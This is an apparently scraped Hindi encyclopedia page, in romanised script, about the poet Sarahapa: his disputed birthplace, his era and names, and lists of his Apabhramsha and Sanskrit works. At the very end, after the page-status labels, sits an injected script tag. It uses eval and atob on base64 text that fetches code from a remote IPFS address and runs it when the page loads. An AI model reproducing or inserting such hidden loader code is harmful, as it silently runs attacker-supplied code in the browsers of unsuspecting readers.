सरहपा

siddh sarahapa athavian shati ke dauran hindi ke pratham kavi mane jate haian. unake janm-sthan ko lekar vivad hai. ek tibbati janashruti ke adhar par unaka janm-sthan u disa bataya gaya hai. ek janashruti saharasa zile ke panchagachhiya gram ko bhi unaka janm-sthan batati hai. mahapandit rahul saankrityayan ne unaka nivas sthan nalanda aur prachy desh ki rajninagari donoan hi bataya hai. unhoanne dohakosh mean rajninagari ke bhangal (bhagalapur) ya puandravadrdhan pradesh mean hone ka anuman kiya hai. atah sarahapa ko kosi aanchal ka kavi mana ja sakata hai. sarahapa ka chaurasi siddhoan ki prachalit talika mean chhatha sthan hai. unaka mool nam ‘rahulabhadr’ tha aur unake ‘sarojavajr’, ‘sharoruhavajr’, ‘padm’ tatha ‘padmavajr’ nam bhi milate haian. ve palashasak dharmapal (770-810 ee.) ke samakalin the. unako bauddh dharm ki vajrayan aur sahajayan shakha ka pravartak tatha adi siddh mana jata hai. ve brahmanavadi vaidik vicharadhara ke virodhi aur vishamatamoolak samaj ki jagah sahaj manaviy vyavastha ke pakshadhar the. unaki shiksha nalanda-vihar mean huee thi tatha adhyayan ke uparaant ve vahian pradhan purohit ke roop mean niyukt hue. avakash-prapti ke bad shriparvat, guantoor (aandhr pradesh) ko unhoanne apana karyakshetr banaya. inako bauddh dharm ki vajrayan aur sahajayan shakha ka pravartak mana jata hai. aisi manyata hai ki ve pal vansh ke raja dharmapal (sanh 770 se 810 eesvi) ke samakalin the. is adhar par inaka samay athavian evan nauvian shatabdi thaharata hai.

pramukh kritiyaan

tibbati granth stanh-gyur mean sarahapa ki 21 kritiyaan sangrahit haian. inamean se 16 kritiyaan apabhransh ya purani hindi mean haian, jinake anuvad bhot bhasha mean milate haian :

1. doha kosh-giti
2. dohakosh nam charyagiti
3. dohakoshopadesh giti
4. doha nam
5. dohatippan
6. kayakoshamritavajragiti
7. vakkosharuchirasvaravajragiti
8. chittakoshajavajragiti
9. kayavakchittamanasikar
10. dohakosh mahamudropadesh
11. dvadashopadeshagatha
12. svadhishthanakram
13. tattvopadeshashikharadohagitika
14. bhavanadrishticharyaphaladohagiti
15. vasant- tilakadohakoshagitika tatha
16. mahamudropadeshavajraguhyagiti.

ukt kritiyoan mean sarvadhik prasiddhi dohakosh ko hi mili hai. any paanch kritiyaan unaki sanskrit rachanaean haian-

1. buddhakapalatantrapanjika
2. buddhakapalasadhan
3. buddhakapalamandalavidhi
4. trailokyavashankaralokeshvarasadhan evan
5. trailokyavashankaravalokiteshvarasadhan.

rahul saankrityayan ne inhean sarah ki praranbhik rachanaean mana hai, jinamean se chauthi kriti ke do aur aanshoan ke bhinn anuvadakoan dvara kie ge anuvad stanh-gyur mean shamil haian, jinhean svatantr kritiyaan manakar rahul ji sarah ki sat sanskrit kritiyoan ka ullekh karate haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>